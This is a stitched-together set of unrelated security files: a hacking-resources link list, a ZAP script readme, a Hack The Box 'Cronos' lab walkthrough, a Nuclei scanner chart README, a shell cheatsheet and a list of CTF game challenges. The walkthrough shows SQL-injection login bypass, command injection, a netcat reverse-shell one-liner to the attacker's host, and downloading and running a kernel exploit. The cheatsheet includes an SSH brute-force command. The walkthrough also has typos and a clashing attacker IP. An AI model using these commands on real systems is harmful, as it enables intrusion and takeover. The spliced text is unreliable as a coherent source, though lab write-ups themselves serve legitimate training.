Hacker](https://www.amazon.in/dp/1119684307/ref=cm_sw_r_cp_apa_i_XMCdGbG3PV2XD) (2014) - [Blue Team Field Manual by Alan J White & Ben Clark, 2017](https://www.amazon.de/Blue-Team-Field-Manual-BTFM/dp/154101636X) - [PDF](https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf) (2017) - [Cybersecurity - Attack and Defense Strategies](https://www.amazon.com/Cybersecurity-Defense-Strategies-Infrastructure-securit/dp/1788475291) (2018) - [Android Hacker's Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html) (2009) - [Social Engineering : The Art of Human Hacking](https://www.amazon.com/Social-Engineering-Art-Human-Hacking/dp/0470639539) (2010) - [The Hackers Playbook 2 by Peter Kim](https://amzn.to/2ObGqkU) ## Discussions (Updating Soon) - [Reddit/HowToHack](https://www.reddit.com/r/HowToHpen-testing) and ask about hacking, security and pen testing. - [Reddit/hacking](https://www.reddit.com/r/hacking) Discuss about hacking and web security. - [ax0nes](https://ax0nes.com/) Hacking, security, and software development forum. - [0Day.rocks on discord](https://discord.gg/WmYzJfD) Discord server about the 0day.rocks blog for technical and general InfoSec/Cyber discussions & latest news. - [Reddit/AskNetsec](https://www.reddit.com/r/AskNetsec/) Discusadvice network security, ask professionals for advices about jobs and stuff. ## Security Advisories - [CVE: For publicly known cybersecurity vulnerabilities.](http://cve.mitre.org/) - [CWE: For software weaknesses and vulnerabilities](http://cwe.mitre.org/) - [NVD: Largest publicly available source of vulnerability intelligence.](http://web.nvd.nist.gov/) - [OWASP: Open Web Application Security Project](https://www.owasp.org/index.php/Main_Page) - Worldwide not-for-profit charitable organization focused on improving the security of especially Web-based and Application-layer software. - [PENTEST-WIKI](https://github.com/nixawk/pentest-wiki) - Free online security knowledge library for pentesters and researchers. - [PTES: Penetration Testing Execution Standard](http://www.pentest-standard.org/) - Documentation designed to provide a common language and scope for performing and reporting the results of a penetration test. - [Penetration Testing Framework (PTF)](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html) - Outline for performing penetration tests compiled as a general framework usable by vulnerability analysts and penetration testers alike. - [Hackerone reports](https://h1.security.nathan.sx/index.html) - [Pentester.land](https://pentester.land/list-of-bug-bounty-writeups.html) ## Must Checkout - [Awesome Pentesting](https://github.com/enaqx/awesome-pentest/blob/master/README.md) - [Devbreak on Twitter](https://twitter.com/DevbreakFR) - [The Life of a Security Researcher](https://www.alienvault.com/blogs/security-essentials/the-life-of-a-spotity-researcher) - [Find an awesome hacking spot in your country](https://github.com/diasdavid/awesome-hacking-spots) - [Awesome-Hacking Lists](https://github.com/Hack-with-Github/Awesome-Hacking/blob/master/README.md) - [Crack Station](http://crackstation.net/) - [Exploit Database](http://www.exploit-db.com/) - [Hackavision](http://www.hackavision.com/) - [Hackmethod](https://www.hackmethod.com/) - [Packet Storm Security](http://packetstormsecurity.org/) - [SecLists](http://seclists.org/) - [SecTools](http://sectools.org/) - [Smash the Stack](http://smashthestack.org/) - [Don't use VPN services](https://gist.github.com/joepie91/5a9909939e6ce7d09e29) - [How to Avoid Becoming a Script Kiddie](https://www.wikihow.com/Avoid-Becoming-a-Script-Kiddie) - [2017 Top 10 Application Security Risks](https://www.owasp.org/index.php/Top_10-2017_Top_10) - [Starting in cybersecurity ?](https://blog.0day.rocks/starting-in-cybersecurity-5b02d827fb54) ([Table of Contents](#table-of-contents)) # License This repository is under MIT license. ([Table of Contents](#table-of-contents))
### Resource references: https://www.zaproxy.org/getting-started/ https://devcenter.heroku.com/articles/pentest-instructions https://github.com/zaproxy/community-scripts ### Manually running scripts Ensure ZAP Proxy has been installed before running any scripts Example CLI for script execution: cd "{pathToZedProxy}Zed Attack Proxy" java -jar zap-2.10.0.jar -cmd -quickurl https://computer-database.herokuapp.com/computers -quickprogress -script "{pathToScript}\zap_proxy_xframe_header_not_set_test.ts" ### Automation Some CI\CD pipelines have custom tasks for running, check for your provider, otherwise presume the use of a CMD task ### Side note Removal of most of the site data can help reduce the run time here (but some data should be retained for testing) Without API or data access, the UI_Automation can be used to iteratively clear down data -Spec file: _dataPrepDeleteAllItems.ts
# Cronos -- hack the box ![AEpKkq.png](https://s2.ax1x.com/2019/03/14/AEpKkq.png) ## Introduction Target machine: 10.10.10.13(OS: linux) Kali linux: 10.10.16.44 ## Enumeration Firstly, detect the open ports: ``` nmap -sT -p- --min-rate 10000 -oA openports 10.10.10.13 ``` ![openports](https://github.com/neal1991/htb/blob/master/Cronos/openports.png) 3 ports is open, detect the detailed services: ``` namp -sV -sC -p22.53.80 -Pn -oA services 10.10.10.13 ``` ![services](https://github.com/neal1991/htb/blob/master/Cronos/services.png) So we can conduct the relation of ports of ports and services as following: port|service ---|--- 53|DNS 22|ssh 80|http ## Exploitation ### http As the target machine provides http service, try to access `http://10.10.10.13` ![default web](https://github.com/neal1991/htb/blob/master/Cronos/80.png) Default apache web page, nothing new. So try to brute force `http://10.10.10.13/` with dirbuster. After brute force for a period time, we have not found anything new. ### DNS As the target machine owns DNS service. It is common to check zone transfer with `dig`. As we can have a guess of the dns domain of `cronos.htb`. So zone transfer can be checked by: ``` dig axfr @10.10.10.13 cronos.htb ``` ![dns](https://github.com/neal1991/htb/blob/master/Cronos/dns.png) An interestring domain name `admin.cronos.htb` is found. So add an entry into `/etc/hosts`: ``` 10.10.10.13 admin.cronos.htb ``` Try to access `admin.cronos.htb` in the browser, a login web page is displayed. Yep, it is what we want. It seems that the login is quite simple. Try to login with sql injection with the username of `admin ' or '1' = '1`, the password can be anything. ![login](https://github.com/neal1991/htb/blob/master/Cronos/login.png) ![pass](https://github.com/neal1991/htb/blob/master/Cronos/pass.png) Magic! We are in. It seems that it is a network tool. However, it seems that it has exposed the ability to execute command remotely. Have a test of `8888&whoami`: ![whoami](https://github.com/neal1991/htb/blob/master/Cronos/whoami.png) The result is `www-data`. Obviously, the command can executed properly. Now try to reverse the shell. Try to listen to port `1234` by nc in our kali: ``` nc -lvnp 1234 ``` Then use the bash reverse shell command: ``` rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.44 1234 >/tmp/f ``` Wait for server second, shell is return. Wonderful! ![nc](https://github.com/neal1991/htb/blob/master/Cronos/nc.png) Try to obtain a tty terminal: ``` python -c "import pty;pty.spawn('/bin/sh')" ``` Obviously, the user role can be obtained. Go the `home` folder and `ls`, then go into the user folder to get user.txt. ## Privilege escalation It's time to get the root role. See the kernel of the target machine: ``` uname -a ``` Google linux kernel privilege escalation, find a [payload](https://www.exploit-db.com/exploits/44298) ![AEmLVK.png](https://s2.ax1x.com/2019/03/15/AEmLVK.png) Server a http server to provide the payload, name it as exploit.c: ``` pythoon -m SimpleHTTPServer 80 ``` There are serveal ways to provide http file services, including: php, apache, python, etc. Pyhton is quite convinient. Then download the `exploit.c` in the target machine: ``` wget http://10.10.16.22/exploit.c ``` Then try to compile it with gcc. Opps, gcc seems has not been installed in the target machine. In general, linux will install gcc. Whatever, compile the `exploit.c` in kali: ``` gcc exploit.c -o exploit ``` Remember to download the file from a folder with permission, just like `/tmp`: ``` cd /tmp wget http://10.10.16.44/exploit ``` Make sure to have execution permission by: ``` chmod +x exploit ``` Just execute it by `./exploit`. Wow, now see whoami. ![root](https://github.com/neal1991/htb/blob/master/Cronos/root.png) ## Conclusion The target machine is quite straitforward. The basic point is the zone transfer of DNS exploit. And other steps is not difficult with basic knowledges including: sql injection, reverse shell, etc.
--- title: "Nuclei" category: "scanner" type: "Website" state: "released" appVersion: "v2.5.2" usecase: "Nuclei is a fast, template based vulnerability scanner." --- <!-- SPDX-FileCopyrightText: 2021 iteratec GmbH SPDX-License-Identifier: Apache-2.0 --> <!-- .: IMPORTANT! :. -------------------------- This file is generated automatically with `helm-docs` based on the following template files: - ./.helm-docs/templates.gotmpl (general template data for all charts) - ./chart-folder/.helm-docs.gotmpl (chart specific template data) Please be aware of that and apply your changes only within those template files instead of this file. Otherwise your changes will be reverted/overwritten automatically due to the build process `./.github/workflows/helm-docs.yaml` -------------------------- --> <p align="center"> <a href="https://opensource.org/licenses/Apache-2.0"><img alt="License Apache-2.0" src="https://img.shields.io/badge/License-Apache%202.0-blue.svg"/></a> <a href="https://github.com/secureCodeBox/secureCodeBox/releases/latest"><img alt="GitHub release (latest SemVer)" src="https://img.shields.io/github/v/release/secureCodeBox/secureCodeBox?sort=semver"/></a> <a href="https://owasp.org/www-project-securecodebox/"><img alt="OWASP Incubator Project" src="https://img.shields.io/badge/OWASP-Incubator%20Project-365EAA"/></a> <a href="https://artifacthub.io/packages/search?repo=securecodebox"><img alt="Artifact HUB" src="https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/securecodebox"/></a> <a href="https://github.com/secureCodeBox/secureCodeBox/"><img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/secureCodeBox/secureCodeBox?logo=GitHub"/></a> <a href="https://twitter.com/securecodebox"><img alt="Twitter Follower" src="https://img.shields.io/twitter/follow/securecodebox?style=flat&color=blue&logo=twitter"/></a> </p> ## What is Nuclei Nuclei is used to send requests across targets based on a template leading to zero false positives and providing fast scanning on large number of hosts. Nuclei offers scanning for a variety of protocols including TCP, DNS, HTTP, File, etc. With powerful and flexible templating, all kinds of security checks can be modelled with Nuclei. To learn more about the Nuclei scanner itself visit [Nuclei GitHub] or [Nuclei Website]. ## Deployment The nuclei chart can be deployed via helm: ```bash # Install HelmChart (use -n to configure another namespace) helm upgrade --install nuclei secureCodeBox/nuclei ``` ## Scanner Configuration The following security scan configuration example are based on the [Nuclei Documentation], please take a look at the original documentation for more configuration examples. ```bash nuclei -h Nuclei is a fast, template based vulnerability scanner focusing on extensive configurability, massive extensibility and ease of use. Usage: nuclei [flags] Flags: TARGET: -u, -target string[] target URLs/hosts to scan -l, -list string path to file containing a list of target URLs/hosts to scan (one per line) TEMPLATES: -tl list all available templates -t, -templates string[] template or template directory paths to include in the scan -w, -workflows string[] list of workflows to run -nt, -new-templates run newly added templates only -validate validate the passed templates to nuclei FILTERING: -tags string[] execute a subset of templates that contain the provided tags -include-tags string[] tags from the default deny list that permit executing more intrusive templates -etags, -exclude-tags string[] exclude templates with the provided tags -include-templates string[] templates to be executed even if they are excluded either by default or configuration -exclude-templates, -exclude string[] template or template directory paths to exclude -severity, -impact string[] execute templates that match the provided severities only -author string[] execute templates that are (co-)created by the specified authors OUTPUT: -o, -output string output file to write found issues/vulnerabilities -silent display findings only -v, -verbose show verbose output -vv display extra verbose information -nc, -no-color disable output content coloring (ANSI escape codes) -json write output in JSONL(ines) format -irr, -include-rr include request/response pairs in the JSONL output (for findings only) -nm, -no-meta don't display match metadata -rdb, -report-db string local nuclei reporting database (always use this to persist report data) -me, -markdown-export string directory to export results in markdown format -se, -sarif-export string file to export results in SARIF format CONFIGURATIONS: -config string path to the nuclei configuration file -rc, -report-config string nuclei reporting module configuration file -H, -header string[] custom headers in header:value format -V, -var value custom vars in var=value format -r, -resolvers string file containing resolver list for nuclei -system-resolvers use system DNS resolving as error fallback -passive enable passive HTTP response processing mode -env-vars Enable environment variables support INTERACTSH: -no-interactsh do not use interactsh server for blind interaction polling -interactsh-url string self-hosted Interactsh Server URL (default "https://interact.sh") -interactions-cache-size int number of requests to keep in the interactions cache (default 5000) -interactions-eviction int number of seconds to wait before evicting requests from cache (default 60) -interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5) -interactions-cooldown-period int extra time for interaction polling before exiting (default 5) RATE-LIMIT: -rl, -rate-limit int maximum number of requests to send per second (default 150) -rlm, -rate-limit-minute int maximum number of requests to send per minute -bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25) -c, -concurrency int maximum number of templates to be executed in parallel (default 10) OPTIMIZATIONS: -timeout int time to wait in seconds before timeout (default 5) -retries int number of times to retry a failed request (default 1) -project use a project folder to avoid sending same request multiple times -project-path string set a specific project path (default "/var/folders/xq/zxykn5wd0tx796f0xhxf94th0000gp/T/") -spm, -stop-at-first-path stop processing HTTP requests after the first match (may break template/workflow logic) HEADLESS: -headless enable templates that require headless browser support -page-timeout int seconds to wait for each page in headless mode (default 20) -show-browser show the browser on the screen when running templates with headless mode DEBUG: -debug show all requests and responses -debug-req show all sent requests -debug-resp show all received responses -proxy, -proxy-url string URL of the HTTP proxy server -proxy-socks-url string URL of the SOCKS proxy server -trace-log string file to write sent requests trace log -version show nuclei version -tv, -templates-version shows the version of the installed nuclei-templates UPDATE: -update update nuclei to the latest released version -ut, -update-templates update the community templates to latest released version -nut, -no-update-templates Do not check for nuclei-templates updates -ud, -update-directory string overwrite the default nuclei-templates directory (default "/Users/robert/nuclei-templates") STATISTICS: -stats display statistics about the running scan -stats-json write statistics data to an output file in JSONL(ines) format -si, -stats-interval int number of seconds to wait between showing a statistics update (default 5) -metrics expose nuclei metrics on a port -metrics-port int port to expose nuclei metrics on (default 9092) ``` ## Requirements Kubernetes: `>=v1.11.0-0` ## Values | Key | Type | Default | Description | |-----|------|---------|-------------| | cascadingRules.enabled | bool | `true` | Enables or disables the installation of the default cascading rules for this scanner | | nucleiTemplateCache.enabled | bool | `true` | Enables or disables the use of an persistent volume to cache the always downloaded nuclei-templates for all scans. | | nucleiTemplateCache.schedule | string | `"0 */1 * * *"` | | | parser.env | list | `[]` | Optional environment variables mapped into each parseJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) | | parser.image.pullPolicy | string | `"IfNotPresent"` | Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images | | parser.image.repository | string | `"docker.io/securecodebox/parser-nuclei"` | Parser image repository | | parser.image.tag | string | defaults to the charts version | Parser image tag | | parser.ttlSecondsAfterFinished | string | `nil` | seconds after which the kubernetes job for the parser will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ | | scanner.activeDeadlineSeconds | string | `nil` | There are situations where you want to fail a scan Job after some amount of time. To do so, set activeDeadlineSeconds to define an active deadline (in seconds) when considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#job-termination-and-cleanup) | | scanner.backoffLimit | int | 3 | There are situations where you want to fail a scan Job after some amount of retries due to a logical error in configuration etc. To do so, set backoffLimit to specify the number of retries before considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#pod-backoff-failure-policy) | | scanner.env | list | `[]` | Optional environment variables mapped into each scanJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) | | scanner.extraContainers | list | `[]` | Optional additional Containers started with each scanJob (see: https://kubernetes.io/docs/concepts/workloads/pods/init-containers/) | | scanner.extraVolumeMounts | list | `[]` | Optional VolumeMounts mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) | | scanner.extraVolumes | list | `[]` | Optional Volumes mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) | | scanner.image.pullPolicy | string | `"IfNotPresent"` | Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images | | scanner.image.repository | string | `"docker.io/projectdiscovery/nuclei"` | Container Image to run the scan | | scanner.image.tag | string | `nil` | defaults to the charts appVersion | | scanner.nameAppend | string | `nil` | append a string to the default scantype name. | | scanner.resources | object | `{}` | CPU/memory resource requests/limits (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/, https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) | | scanner.securityContext | object | `{"allowPrivilegeEscalation":false,"capabilities":{"drop":["all"]},"privileged":false,"readOnlyRootFilesystem":true,"runAsNonRoot":true}` | Optional securityContext set on scanner container (see: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) | | scanner.securityContext.allowPrivilegeEscalation | bool | `false` | Ensure that users privileges cannot be escalated | | scanner.securityContext.capabilities.drop[0] | string | `"all"` | This drops all linux privileges from the container. | | scanner.securityContext.privileged | bool | `false` | Ensures that the scanner container is not run in privileged mode | | scanner.securityContext.readOnlyRootFilesystem | bool | `true` | Prevents write access to the containers file system | | scanner.securityContext.runAsNonRoot | bool | `true` | Enforces that the scanner image is run as a non root user | | scanner.ttlSecondsAfterFinished | string | `nil` | seconds after which the kubernetes job for the scanner will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ | ## License [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) Code of secureCodeBox is licensed under the [Apache License 2.0][scb-license]. [scb-owasp]: https://www.owasp.org/index.php/OWASP_secureCodeBox [scb-docs]: https://docs.securecodebox.io/ [scb-site]: https://www.securecodebox.io/ [scb-github]: https://github.com/secureCodeBox/ [scb-twitter]: https://twitter.com/secureCodeBox [scb-slack]: https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU [scb-license]: https://github.com/secureCodeBox/secureCodeBox/blob/master/LICENSE [Nuclei Website]: https://nuclei.projectdiscovery.io/ [Nuclei GitHub]: https://github.com/projectdiscovery/nuclei [Nuclei Documentation]: https://nuclei.projectdiscovery.io/nuclei/get-started/
# Introduction Let's face it, we are mere mortals that keep forgetting everytime we learn something new. So that's why I created this simple cheatsheet. Every time I forget something important, I want to refer back in one single place instead of scouring the Internet for the same answer that I did before. Hope this will help. ## System magic ### Show C: disk usage ```sh df -h | awk '/^C:\\/ {print $3 "/" $2}' ``` ### Show formatted disk usage for ext4/xfs filesystems ```sh df -h -t ext4 -t xfs | awk '{print $1, $3 "/" $2}' | column -t ``` ### Show memory used/total ```sh free -h | awk '/^Mem:/ {print $3 "/" $2}' ``` ### Show top 10 largest files (descending order, starting from the current folder, recursively) ```sh find . -printf '%s %p\n'| sort -nr | head -10 ``` ### Show top 10 largest folders ```sh du -hsx * | sort -rh | head -10 ``` ### Show IP and broadcast address ```sh ip a show scope global dynamic | awk '$1 == "inet" {print $2, $4}' ``` ### Show most memory intensive process ```sh ps axch -o cmd:15,%mem --sort=-%mem ``` ### Show most CPU intensive process ```sh ps axch -o cmd:15,%cpu --sort=-%cpu ``` ### Show explicit installed packages ```sh apt-mark showmanual ``` ### Show current PATH environment variable ```sh echo $PATH | tr : \\n ``` ## Sed magic ### Remove all double quotes on each line ```sh sed 's/"//g' ``` ### Remove everything before the first space ```sh sed 's/[^ ]* //' ``` ### Remove last comma on each line ```sh sed 's/,$//' ``` ### Remove bracket and everything between a pair of bracket ```sh sed -e 's/\[[^][]*\]//g' ``` ### Replace all commas with spaces ```sh sed 's/,/ /g' ``` ## Awk magic ### Print all column ```sh awk '{print $0}' ``` ### Print all line except first ```sh awk '(NR>1)' ``` ### Remove empty lines from list result ```sh awk 'NF' ``` ### Remove all leading, trailing whitespaces and tabs from each line ```sh awk '{$1=$1};1 ``` ### Grep specific line numbers ```sh awk 'NR==2{ print; }' ``` ## Grep magic ### Extract everything inside brackets ```sh grep -oP '\[\K[^\]]+' ``` ### Find only first occurence in a file ```sh grep -m1 'searchstring' file_name ``` ## Curl magic ### Show my external IP address ```sh curl -4 https://icanhazip.com ``` ## Systemctl magic ### Show all installed services ```sh systemctl list-unit-files --state=enabled --no-pager ``` ## FFmpeg magic ### Adding audio to a video without re-encoding ```{sh} ffmpeg -i video_name.mp4 -i audio_name.m4a -c copy -map 0:v -map 1:a output_name.mp4 ``` ## Youtube-dl magic ### Extract audio track from Youtube video and store as mp3 ```sh youtube-dl --extract-audio --audio-format mp3 https://ytvideolink ``` ## Nmap magic ### Scan all of target port using default script, version detection and output the result normally ```sh nmap -sC -sV -p- -oN output-name ip-address ``` ### Enumerate specific port using http-enum script ```sh nmap --script=http-enum -p80 ip-address ``` ## Gobuster magic ### Search name of the hidden directory on the web server with wordlist. ```sh gobuster dir -u http://ip-address -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt ``` ## Enum4linux magic ### Enumerate machine list, group and user list with share list ```sh enum4linux -M -G -S ip-address ``` ## Smbclient magic ### Mount and connect to the sharename (Anonymous). ```sh smbclient //ip-address/Anonymous ``` ## Hydra magic ### Bruteforce SSH password with wordlist from known SSH username ```sh hydra -l ssh-username -P /usr/share/wordlists/rockyou.txt ssh://ip-address ```
# CTF Game Challenges I have been learning about game hacking recently and the best way I could find legally to practice is by playing [CTFs](https://ctftime.org/ctf-wtf/). But the difficult part is finding out the Game challenges from previous ctfs. This list includes game challenges I encountered while playing ctfs and reading writeups. <img src="assets/follow_white_rabbit.jpg" alt="cscg2020_rabbit" height="420"/> Also just FYI as some of the gameservers are offline and there is no clear way to set it up or the developers have not opensourced it we can't play it now. ## Contents [PC Games](#pc-games) [Retro [Gameboy/NES]](#retro-gameboynes) [Android](#android) [Web](#web) --- ### PC Games 1. **DragonSector CTF 2018** - [Arcane Sector](https://github.com/gynvael/arcanesector) Solution Videos https://youtu.be/8bjFplctDE0 https://youtu.be/j0taw78tCYs 2. **Nullcon HackIM 2020** - [ZeldaAdventures](https://github.com/nullcon/hackim-2020/tree/master/zelda/ZeldaAdventures) - [ZeldaInSpace](https://github.com/nullcon/hackim-2020/tree/master/zelda/ZeldaInSpace) https://medium.com/@roottusk/helping-zelda-capture-flags-nullcon-hackim-2020-f2480099cc3c https://devploit.dev/2020/02/09/nullconHackIM-ZeldaAdventures.html 3. **Pwn Adventure Series by Vector35** - [PwnAdventure Sourcery (In Browser)](https://sourcery.pwnadventure.com/) - [PwnAdventure 2](http://ghostintheshellcode.com/#pwnadventure2) - [PwnAdventure 3](http://pwnadventure.com/) Writeups https://thekidofarcrania.gitlab.io/2018/11/18/csaw-finals-18/ https://www.digitaloperatives.com/2014/01/19/ghost-in-the-shellcode-2014-write-up-choose-your-pwn-adventure-2-200-portal/ http://lockboxx.blogspot.com/2014/01/ghost-in-shellcode-2014-ctf-writeup.html https://github.com/ctfs/write-ups-2014/tree/master/ghost-in-the-shellcode-2014 https://x-c3ll.github.io/posts/Frida-Pwn-Adventure-3/ https://blog.keyidentity.com/tag/pwnadventure/ Solution Videos https://www.youtube.com/playlist?list=PLhixgUqwRTjzzBeFSHXrw9DnQtssdAwgG 4. **Flare-On 6 (2019)** - [Challenge-8 : DnsChess](http://flare-on.com/files/Flare-On6_Challenges.zip) https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/FlareOn6_Challenge4_Solution_DnsChess.pdf https://0xdf.gitlab.io/flare-on-2019/dnschess.html 5. **Insomni Hack** - [Pwn Arena](https://s3-eu-west-1.amazonaws.com/insomnihack/game/Windows.zip) More Info : https://www.insomnihack.ch/ctf-test-the-game/ Writeups https://gist.github.com/bkth/f8d9965bb985af0d925352a88067b240 6. **RiceTeaCatPanda CTF 2020** - [Tea Clicker](https://github.com/JEF1056/riceteacatpanda/tree/master/Tea%20Clicker%20(150)) - [Work In Progress](https://github.com/JEF1056/riceteacatpanda/tree/master/Work%20In%20Progress%20(400)) https://blog.nlegall.fr/rtcp-tea-clicker.html https://blog.nlegall.fr/rtcp-work-in-progress.html 7. **InsomniHack 2017** - [FPS](https://download.scrt.ch/FPS/Windows.zip) https://blog.scrt.ch/2017/06/06/fps-write-ups-for-insomnihack-2017/ 8. **Secuinside CTF Quals 2013** - [game](https://docs.google.com/file/d/0Bxq9FZappPXQY1Y0VWtyMENjM3c/edit) http://lockboxx.blogspot.com/2013/06/intro-to-reversing-windows-portable.html 9. **BSidesCBR CTF 2017** - Let’s Play a Game! - Old PC https://codecadets.blog/bsides-canberra-lets-play-a-game-aa562be9b129 https://codecadets.blog/bsides-canberra-2018-ctf-write-up-old-pc-37116ab7625e/ 10. **Thotcon 0xa** - [quack (In Browser)](http://quake.token.wtf/) https://lturner.net/blog/thotcon-0xa/ 11. **CSCG 2020** - [Follow The White Rabbit](https://earth.2020.cscg.de/tasks/Follow%20The%20White%20Rabbit%20-%20Cave) Challs include `Cave & Datamining` - [Maze](http://maze.liveoverflow.com/) Challs include `Emoji, M4z3 Runn3r, Map Radar, Maze Runner, The Floor Is Lava, Tower` https://stygiansecurity.com/following-the-white-rabbit-in-game/ https://jamchamb.github.io/2020/06/21/cscg2020-maze-writeups.html https://github.com/bburky/mmo-maze-frida 12. **XMAS CTF 2019** - [Lapland Mission](https://drive.google.com/file/d/1pSe5wVzYU7kC69v7oFGoPT13Sm5W2PBh/view) https://github.com/archercreat/CTF-Writeups/blob/master/X-MAS%20CTF/Lapland%20Mission/README.md 13. **TJCTF 2020** - [Gamer F](https://drive.google.com/file/d/19_sHTHhQ1dmXK9zmpSCuulaBXYjwAJyw/view) - [Gamer R](https://drive.google.com/file/d/19cl1546hn9EymbtZg7YKBrw4u_TPDcjc/view) https://deadlock.team/ctf/forensic/tjctf%202020/2020/05/27/TJCTF-gamerf/ https://deadlock.team/ctf/rev/tjctf%202020/2020/05/27/TJCTF-gamerr/ 14. **Redpwn CTF** - 2019 - [MC Password Storage](https://csy54.github.io/2019/08/Writeup-RedpwnCTF/Password_Manager.zip) - 2020 - [i-wanna-find-the-flag](https://github.com/redpwn/redpwnctf-2020-challenges/tree/master/rev/i-wanna-find-the-flag) https://ctftime.org/writeup/16176 https://spinstars.dev/writeups/2/ https://github.com/shiversoftdev/redpwn-i-wanna-find-the-flag/blob/master/README.md 15. **Pwnium CTF 2014** - [Old World](https://github.com/ctfs/write-ups-2014/tree/master/pwnium-ctf-2014/old-world) https://in3o.wordpress.com/2014/07/06/pwnium-ctf-2014-reverse-100-old-school/ 16. **Hackerearth CipherCombat 2.0** - [Pong](http://ge.tt/5Qka2L23) https://s3-ap-southeast-1.amazonaws.com/he-public-data/pong-writeupd842017.pdf 17. **HackTheVote CTF 2016** - [The Wall](https://github.com/RPISEC/HackTheVote/tree/master/reversing/theWall) https://emanuelecozzi.net/posts/ctf/how-to-fly-with-radare2 18. **Plaid CTF 2020** - [Watness 2 [Mac]](https://ctf.harrisongreen.me/code/2020/plaidctf/game_cleaned.rc1) https://ctf.harrisongreen.me/2020/plaidctf/the_watness_2/ 19. **Defcon CTF Quals 2020** - [Babymaze](https://github.com/TFNS/writeups/tree/master/2020-05-18-DefconQualification/babymaze) - Mamamaze 20. **Flare-On 5 (2018)** - [Challenge-2 - Ultimate Minesweeper](https://github.com/albertzsigovits/flare-on-challenges/blob/master/2018/FlareOn5_Challenges/02_UltimateMinesweeper.7z) https://bruce30262.github.io/flare-on-challenge-2018-write-up/#level-2 http://justanotherdfirblog.blogspot.com/2018/10/flare-on-2018-challenge-2-ultimate.html https://medium.com/@EpsilonCalculus/write-up-to-the-2018-flare-on-challenge-infosec-newbie-edition-flareon5-6444431444b4 21. **3kCTF-2020** - [Game 1-2](https://drive.google.com/file/d/1VHlnOdGuoIKPer_s2AV5-tQjOzaCQlyB/) https://tcode2k16.github.io/blog/posts/2020-07-26-3kctf-writeup/#game-1 22. **ALLES! CTF 2020** - [ALLES!Craft](https://github.com/allesctf/2020/tree/master/challenges/allescraft) https://github.com/RickdeJager/CTF/blob/master/ALLES2020/ALLESCraft/writeup.md 23. **Flare-On 7 (2020)** - [Challenge-3 - Wednesday](https://github.com/aleeamini/Flareon7-2020/raw/main/3/3_-_wednesday.7z) https://explained.re/posts/flare-on7-wednesday/ https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/flareon7-challenge3-solution.pdf 24. **NorthSec CTF 2019** - DOOM http://www.agardner.me/securit/ctf/northsec/2019/2019/05/19/northsec-ctf-part-1-doom.html https://re-dojo.github.io/write-ups/2019-05-26-nsec-2019-doom/ --- ### Retro [Gameboy/NES] 1. **Flare-On 6 (2019)** - [Challenge-8 : Snake](http://flare-on.com/files/Flare-On6_Challenges.zip) https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/FlareOn6_Challenge8_Solution_SNAKE.pdf https://malwareunicorn.org/workshops/flareon6_2019.html#8 2. **Square CTF 2017** - [gameboy](https://github.com/VoidHack/write-ups/blob/master/Square%20CTF%202017/reverse/gameboy/mission.gb) Writeups & other game files https://github.com/VoidHack/write-ups/tree/master/Square%20CTF%202017/reverse/gameboy 3. **Swamp CTF 2018** - [Ethereal Boy](https://github.com/adeebshihadeh/ctf/blob/221d5bdeed6eadb206e72f99af7954942502d196/swampctf/game.gb) - [Ethereal Boy Advanced](https://github.com/adeebshihadeh/ctf/blob/221d5bdeed6eadb206e72f99af7954942502d196/swampctf/game2.gb) https://github.com/DancingSimpletons/writeups/blob/master/swampctf-2018/Etherealboy.md 4. **UTCTF 2020** - [GameboyTAS](https://github.com/utisss/UTCTF-20/tree/master/gameboy-tas) https://www.danbrodsky.me/writeups/utctf2020-gameboytas/ 5. **HITB Amsterdam CTF 2019** - [Eighties](https://storage.hitbctf.nl/hitb2019ams/eighties/eighties.387eb81c5c27.nes) https://beunhazen.net/2019/05/24/hitams19-eighties-writeup.html 6. **r2boy series** - 2017 - [Simple](https://github.com/radareorg/r2con2017/blob/master/Competitions/Crackmes/simple.gb) - [Harder](https://github.com/radareorg/r2con2017/blob/master/Competitions/Crackmes/harder.gb) - 2019 - [r2boy1](https://github.com/s0larpunk/ctf_challenge_writeups/blob/f4960a50fdf5446f13e4ee3131900901777e86ec/2019/ctf_solutions/radare_ctf/r2boy.gb) - [r2boy2](https://github.com/s0larpunk/ctf_challenge_writeups/blob/f4960a50fdf5446f13e4ee3131900901777e86ec/2019/ctf_solutions/radare_ctf/r2boy1.gb) https://www.megabeets.net/reverse-engineering-a-gameboy-rom-with-radare2/ 